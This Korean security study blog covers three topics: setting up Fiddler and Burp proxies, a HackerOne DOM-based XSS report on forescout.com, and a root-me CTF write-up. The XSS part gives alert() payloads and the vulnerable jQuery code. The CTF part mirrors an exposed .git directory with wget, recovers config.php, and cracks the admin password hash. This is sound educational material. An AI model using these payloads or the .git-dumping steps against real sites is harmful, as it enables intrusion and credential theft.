※ 왼쪽의 Fiddler Echo Service 화면이 나오지 않는 경우, PC에서 피들러 툴을 끈다음 다시 실행 후 재접근!

 

Step 4. Fiddler & Burp Connect

1) 피들러의 [Tools - Options - Connections 탭]에서 "Allow remote computers to connect" 체크하여 활성화

 

2) Burp Suite를 실행한 후 [Proxy - Options - Proxy Listeners] 메뉴에 "All interfaces"로 피들러와 연결할 포트 설정

 

3) 다시 피들러의 [Tools - Options - Gateway 탭 - Manual Proxy Configuration] 설정

 

4) 피들러 툴 재시작

 

Fiddler에서만 패킷이 잡히고 Burp에서는 잡히지 않는 경우

Fiddler의 [Tools - Options - Gateway 탭]에서 "No Proxy" 체크 후 저장 → Fiddler 재시작 후 Step 4의 3) 재설정(피들러의 [Tools - Options - Gateway 탭 - Manual Proxy Configuration] 설정)

 

 

3. 결론

 

즉, 그림으로 쉽게 표현하면 아래와 같습니다(위의 세팅으로 설정한 경우)

 

모바일 디바이스의 패킷을 Burp Suite 툴로 바로 캡쳐하는 경우 속도가 매우 느리지만(경우에 따라 다름),

중간에 Fiddler 툴을 두어 속도를 향상시킬 수 있습니다.

반응형
반응형

[Bug Bounty] 카테고리에 해커원에서 발표한 취약점을 정리하려고 했는데,, 이제야 첫 글을 쓰네요ㅠ

 

위 취약점은 https://www.forescout.com 사이트에서 발견되었으며, DOM Based XSS 취약점입니다.

해커는 바운티로 $1,000를 받았네요. 타 사이트에 비해 XSS 취약점 바운티로 큰 금액을 받은 것 같습니다.

 

DOM Based XSS(Cross Site Scripting)란?

DOM(Document Object Model)은 HTML 및 XML 문서에 접근하는 방법을 표준으로 정의하는 문서 객체 모델입니다.

즉, 구조화된 문서를 표현하는 방식으로 W3C의 공식 표준입니다.

 

DOM Based XSS(=type-0 XSS)는 피해자의 브라우저에서 DOM 환경을 수정하여 클라이언트 측 코드가 예상치 못한 방식으로 공격 구문이 실행되는 XSS(Cross Site Scripting) 공격입니다. 즉, 페이지 자체(HTTP 응답)는 변경되지 않지만, 페이지에 포함된 클라이언트 측 코드는 DOM환경에서 발생한 악의적인 변조로 인해 공격 구문이 실행됩니다.

 

익히 알고 있는 Stored XSS, Reflected XSS 취약점인 경우 서버 측 결함으로 인해 응답 페이지에 악성 스크립트 구문이 포함되어 브라우저로 전달되는 것이지만, DOM Based XSS 취약점인 경우 서버와 관계없이 브라우저에서 발생합니다.

 

DOM Based XSS(Cross Site Scripting) 공격 시나리오

1. 아래와 같은 URL로 호출되는 페이지가 존재한다고 가정

http://www.test.com/page.html?default=English

2. Attacker에 의해 DOM Based XSS 공격 페이로드 전송

http://www.test.com/page.html?default=<script>alert(document.cookie);</script>

3. 피해자가 2번 링크를 클릭하면, 브라우저가 다음 요청을 전송

/page.html?default=<script>alert(document.cookie);</script>

4. 서버(www.test.com)에서 위 자바 스크립트 코드가 포함된 페이지로 응답/브라우저는 페이지에 대한 DOM 객체 생성

http://www.test.com/page.html?default=<script>alert(document.cookie);</script>

5. 브라우저에 의해 Attacker의 악성 스크립트 구문 실행

alert(document.cookie);

 

즉, 서버에서 전송된 HTTP 응답 값에는 Attacker의 공격 구문이 포함되어 있지 않으며, DOM 객체 생성 시 클라이언트 측 스크립트에 포함되는 것입니다.

 

Bug Bounty Case

이번에는 실제 버그 바운티 사례를 보도록 하겠습니다.

 

https://www.forescout.com/#<img src=x onerror=alert('XSS')>

간단합니다. 해커는 단순히 위의 공격 페이로드를 이용해 DOM Based XSS 취약점을 유발시켰습니다.

 

그러나, 해당 취약점은 Microsoft Edge와 Internet Explorer 브라우저에서만 실행 가능했다고 합니다.

크롬이나 파이어폭스 브라우저일 경우, 기본적으로 system hash url 인코딩 기능이 적용되어있었기 때문입니다.

 

아래는 취약한 코드입니다. window.location.hash 함수에 대한 입력값 필터링이 없어 악성 스크립트 구문이 실행 가능합니다.

jQuery(window).load(function() {
jQuery('a.fancybox-inline[href="' + window.location.hash + '"]:first').each(function() {
jQuery(this).delay(700).trigger('click');
});
});

 

 

위 사진은 해커가 업로드한 해당 사이트에서 발생한 DOM Based XSS 취약점 증적입니다.

 

DOM Based XSS 영향

  • 피해자의 브라우저에 악성 코드 주입 및 실행 가능
  • 악성 사이트로 리다이렉트 처리 가능(피싱)
  • 피해자의 인증 정보(쿠키 등) 탈취 가능

 


[참고 자료]

- https://hackerone.com/reports/704266

- https://owasp.org/www-community/attacks/DOM_Based_XSS

- https://berr-my.tistory.com/entry/XSS-%EA%B3%B5%EA%B2%A9

- https://portswigger.net/web-security/cross-site-scripting/dom-based

- https://gotowebsecurity.com/dom-based-cross-site-scripting-fix/

반응형

'Study > Bug Bounty' 카테고리의 다른 글

[XSS]Blind XSS(Cross Site Scripting)  (2) 2021.01.20
#1. Bug Bounty Platform  (0) 2020.02.21
반응형

Insecure Code Management 관련 문제입니다. 

문제 제목이나 설명만보고 감이 안 와서 참고 문서? 관련 문서란을 보니 git 관련 문제인 것 같습니다.

 

Git 이란?

소스코드 관리를 위한 분산 버전 관리 시스템입니다. 즉, 여러 명의 개발자가 하나의 프로젝트를 개발할 경우, 소스코드를 효과적으로 관리(버전 관리, 백업 등)할 수 있게 하는 무료, 공개적 시스템입니다.

 

이 문제는 소스 코드 관리를 위해 git을 사용하고 있다 정도로만 이해하고 일단 문제에 접속해보았습니다.

HR Database에 접속하기 위한 로그인 폼이 존재합니다. 로그인 폼만 보면 가장 먼저하는 일은 [admin/admin] 같은 유추 가능한 계정으로 접근 시도해보는 것 아닐까요?ㅋㅋㅋ(저 같은 경우는 그렇습니다...ㅠ) 로그인해보았습니다.

 

Unknown user or password라는 에러 메시지만 출력되고 아무런 정보를 던져주지 않았습니다.

 

그렇다면, 이 문제를 어떻게 풀어야 할까 고민하다가 구글링 해본 결과! Git을 사용할 경우 git 디렉토리에 대한 접근 권한 여부를 설정하지 않아 내부 자원 유출 가능한 취약점이 존재한다는 사실을 발견하였습니다. (자세한 사항은 아래 링크)

>> https://medium.com/swlh/hacking-git-directories-e0e60fa79a36 

 

개발자가 Git을 사용할 경우, 프로젝트 파일의 커밋 이력을 포함한 모든 버전의 제어 정보가 Git 디렉토리

[www.test.com/.git]에 보관되어 있습니다. 보통의 경우 일반 사용자가 해당 디렉토리에 접근 불가능해야하지만 접근 제어가 제대로 되어 있지 않은 경우, .git 디렉토리 엑세스 및 정보 유출이 가능합니다.

 

그래서, 이번 문제 접속 후, Git 디렉토리에 접근 시도해보았습니다.

위 스크린샷과 같이 별도의 인증 과정 없이 Git 디렉토리에 접근 가능하며, 정보를 획득할 수 있습니다.

(www.challenge01.root-me.org/web-serveur/ch61/.git)

 

Git 디렉토리 내 소스코드의 재구성을 위해 우선, wget 명령어를 사용해 디렉토리의 내용을 대량 다운로드합니다.

명령어 : wget -r http://www.challenge01.root-me.org/web-serveur/ch61/.git/  

 

wget 명령어를 사용해 Git 디렉토리를 다운받으면, 위 사진과 같이 도메인 폴더가 자동으로 생성되어 있습니다.

 

웹 루트 폴더까지 타고 들어가 보았지만, index.html 파일만 있고 소스코드(index.php) 파일은 보이지 않네요.

 

Git 개체는 SHA1 해시의 처음 두 문자에 따라 /objects 디렉토리 하위에 저장됩니다.

예를 들어, 0a082f2656a655c8b0a87956c7bcdc93dfda23f8 해시를 가진 개체는 디렉토리 .git/objects/0a에082f2656a655c8b0a87956c7bcdc93dfda23f8의 이름으로 저장되고 있습니다.

 

.git/objects에는 다양한 유형의 개체, commit, a tree, a blob, an annotated tag 등이 저장되며 아래의 명령어를 사용해 객체의 유형을 결정할 수 있습니다.

> git cat-file -t OBJECT-HASH

 

  • Commit 객체에는 commit의 디렉토리 트리 개체 해시, 부모 commit, 작성자, 날짜 및 메시지 정보를 저장
  • Tree 객체에는 commit에 대한 디렉토리 목록
  • Blob 객체에는 commit된 파일의 사본(실제 소스 코드)
  • Tag 객체에는 태그가 지정된 객체와 관련 태그 이름에 대한 정보

> cat .git/HEAD

ref: refs/heads/master

> cat .git/refs/heads/master // commit의 디렉토리 트리를 저장하는 해시를 가리킴

c0b4661c888bd1ca0f12a3c080e4d2597382277b 

> git cat-file -t c0b4661c888bd1ca0f12a3c080e4d2597382277b

commit

> git cat-file -p c0b4661c888bd1ca0f12a3c080e4d2597382277b

tree 94650eae3cb2615762a29ec073c53198adffd3c2 // tree object

> git cat-file -p 94650eae3cb2615762a29ec073c53198adffd3c2

blob 2e620c143ab6557a8dacb6a0c284d28c718d6a38 index.php

blob 663fe35facfd983a948d221c769438f230eb18ef config.php

 

94650eae3cb2615762a29ec073c53198adffd3c2에 저장된 tree object을 오픈할 경우!! 실제 소스 코드인 index.php와 config.php 파일 확인이 가능합니다.

 

다시 index.php에 해당하는 blob 객체를 오픈하면 index.php 소스코드가 출력되고 있습니다. (정보 유출 성공!)

> git cat-file -p 2e620c143ab6557a8dacb6a0c284d28c718d6a38

 

index.php 소스코드 내에서는 패스워드를 입력받아 sha256으로 해시한 값과 config.php 파일 내 password 값을 비교하고 있습니다.

 

config.php에 해당하는 blob 객체를 열면 config.php 소스코드가 출력됩니다.

$password 값 0c25a741349bfdcc1e579c8cd4a931fca66bdb49b9f042c4d92ae1bfa3176d8c를 획득하였습니다.

 

해당 값이 sha256 해쉬로 암호화되어 있음이 확인 가능하니, 아래의 온라인 sha256 복호화 사이트를 이용하였습니다.

>> https://md5hashing.net/hash/sha256

(일부 sha256 복호화 사이트에서는 해당 값이 복호화되지 않는 경우 발생)

 

획득한 해쉬값을 입력하면 평문의 Admin 패스워드가 출력되고 있고, 이 값이 Flag 값입니다.^^

 


※ 참고 자료

- https://medium.com/@psychet_learn/git-%EC%82%AC%EC%9A%A9%EB%B2%95-1%EA%B0%95-git%EC%9D%B4%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80-340438d9a69f

- https://medium.com/swlh/hacking-git-directories-e0e60fa79a36

 

반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] SQL injection - Time based  (1) 2020.09.25
[root-me] XSLT - Code execution  (0) 2020.07.02
[root-me] SQL Injection - File reading  (0) 2020.04.01
[root-me] SQL Injection - Routed  (0) 2020.03.20
[root-me] SQL injection - Error  (0) 2020.03.12

+ Recent posts

반응형
반응형